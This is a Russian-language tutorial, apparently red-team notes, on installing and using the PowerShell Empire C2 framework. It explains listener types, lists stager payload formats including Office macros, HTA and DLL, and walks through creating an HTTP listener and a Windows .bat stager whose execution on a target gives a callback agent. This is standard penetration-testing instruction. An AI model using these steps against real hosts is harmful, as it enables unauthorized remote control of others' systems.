Basic

Установка

# Kali
sudo apt install powershell-empire

# from sources
git clone https://github.com/BC-SECURITY/Empire.git
cd Empire
sudo ./setup/install.sh

Основа

Перед тем как мы рассмотрим сам программный комплекс, давай разберемся со следующими понятиями:

  • Listener — это локальный процесс, ожидающий бэкконнект с удаленного атакуемого хоста;

  • Stager — загрузчик Agent’a, то есть полезной нагрузки на удаленный атакуемый хост;

  • Agent — процесс (на удаленном атакуемом хосте), который соединяется с нашим Listener’ом;

  • Module — код, выполняемый Agent’ом для достижения определенных целей.

Запуск Empire: powershell-empire

Для получения точки опоры используется следующий порядок действий: создание Listener’a -> создание Stager’a для этого Listener’a -> запуск нагрузки на удаленном хосте (создание Agent’a).

Listener

Для создания Listener’a нужно войти в соответствующий интерфейс командой listeners.

Создать его можно командой uselistener, но давай посмотрим, какие типы листенеров нам может предложить Empire.

uselistener <TAB>

Поясню, что здесь что:

  • dbx — Dropbox-листенер (хорош, чтобы уклоняться от обнаружения, но требует токен для Dropbox API);

  • http — обычный HTTP/HTTPS-листенер;

  • http_com — HTTP/HTTPS-листенер, использующий объект IE COM;

  • http_foreign — HTTP/HTTPS-листенер для сторонней нагрузки Empire;

  • http_hop — HTTP/HTTPS-листенер для перенаправления команд другому листенеру, что помогает скрыть исходный IP (требует параметр RedirectListener);

  • http_mapi — HTTP/HTTPS-листенер для использования с Liniaal, что позволит получить управление через Exchange-сервер;

  • meterpreter — HTTP/HTTPS-листенер для сторонней нагрузки Meterpreter;

  • onedrive — onedrive-листенер (требует регистрацию приложения https://apps.dev.microsoft.com)

  • redirector — инструмент для перехода от одного агента к другому.

С типами листенеров разобрались, а теперь давай посмотрим, как с ними работать. Для начала выбираем тип (для примера возьмем самый простой — HTTP).

uselistener http

Получить справку по выбранному листенеру можно командой info.

Использованием прокси уже никого не удивишь, но мы можем назначить дату, когда листенер будет удален, а еще определенные часы работы (это очень удобно!). При использовании HTTPS нужно также указать путь к сертификату. Но теперь к основному: назначим имя листенера, адрес хоста для бэкконнекта и порт.

set Name l1
set Host http://192.168.6.1
set Port 4321

И запустим листенер командой execute. back - команда, для возвращения в предыдущее меню.

Переходим ко второй стадии.

Stager

Давай по аналогии с листенером выберем тип stager’a (далее — нагрузки). Сделать это можно командой usestager.

Нагрузки есть для разных платформ: multi (кросс-платформенные), macOS и Windows. А еще существует несколько типов нагрузки:

  • bash — обычный Bash-скрипт;

  • launcher — так называемый one-liner-код на определенном скриптовом языке;

  • macro — макрос для офисных приложений;

  • pyinstaller — ELF-файл, собранный с помощью PyInstaller;

  • war — просто набор байтов для модернизации нагрузки;

  • applescript — файл AppleScript;

  • application — файл Application;

  • ducky — так называемый скрипт Rubber Ducky;

  • dylib — динамическая библиотека macOS;

  • jar — нагрузка в JAR-формате;

  • machomacOS — офисный макрос для macOS;

  • pkg — установщик PKG (должен быть скопирован в директорию /Applications);

  • safari_launcher — HTML-нагрузка;

  • shellcode — обычный Windows-шелл;

  • teensy — Teensy-скрипт;

  • backdoorLnkMacro — файл .lnk для загрузки и запуска приложения;

  • bunny — скрипт Bash bunny;

  • csharp_exe — приложение PowerShell/C#;

  • dll — нагрузка в виде DLL;

  • hta — HTA-нагрузка для IE;

  • macroless_msword — документ macroless;

  • wmic — XSL-нагрузка для wmic.exe (отсутствует в оригинальном Empire).

Давай выберем тип нагрузки. Возьмем, к примеру, bat-файл для Windows.

Как и в случае с листенером, посмотрим параметры командой info.

Что нам предлагает Empire? Снова традиционная возможность настроить прокси, но вот встроенная функция обфускации (к сожалению, только для PowerShell-скриптов) — это вещь приятная. Мы можем указать, где сохранить итоговый файл, а также настроить удаление файла после запуска. Давай укажем листенер и путь к итоговому файлу, после чего создадим stager.

set Listener l1
set OutFile /home/ralf/tmp/l1.bat
execute

Файл с нагрузкой создан по указанному пути.

Agent

Нам нужно выполнить bat-файл на целевом хосте. Ты увидишь сообщение о подключении.

Перейдем в главное меню и выполним команду agents, чтобы увидеть все агенты.

Для удобства можно переименовать агент командой rename и перейти в интерфейс управления агентом (команда interact).

rename LVKP4HN3 al1
interact al1

Мы в системе, теперь пройдемся по самым интересным модулям, которые реально находят применение и используются нашей командой на практике.

Last updated